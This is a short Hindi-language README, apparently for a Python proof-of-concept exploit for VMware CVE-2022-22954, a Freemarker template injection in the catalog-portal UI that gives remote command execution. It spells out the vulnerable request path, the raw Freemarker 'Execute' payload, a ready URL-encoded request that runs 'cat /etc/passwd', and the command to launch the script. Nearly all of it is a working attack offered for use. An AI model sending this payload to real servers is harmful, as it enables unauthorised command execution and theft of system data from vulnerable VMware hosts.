
VMware CVE-2022-22954 का शोषण करने के लिए Python PoC, जो catalog-portal UI में Freemarker टेम्पलेट इंजेक्शन के माध्यम से कमजोर VMware सर्वरों पर दूरस्थ कमांड निष्पादन (remote command execution) सक्षम बनाता है।
VMware CVE-2022-22954 का शोषण करने के लिए प्रूफ ऑफ कॉन्सेप्ट
यह सरल Python स्क्रिप्ट निर्दिष्ट URL पर /catalog-portal/ui/oauth/verify?error=&deviceUdid= जोड़कर एक GET अनुरोध भेजती है और फिर इस स्ट्रिंग का URL एन्कोडेड संस्करण जोड़ती है:
${"freemarker.template.utility.Execute"?new()("command")}
उदाहरण के लिए, "cat /etc/passwd" का आउटपुट इस प्रकार दिखाई देगा:
{host}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d
python3 exploit.py <URL>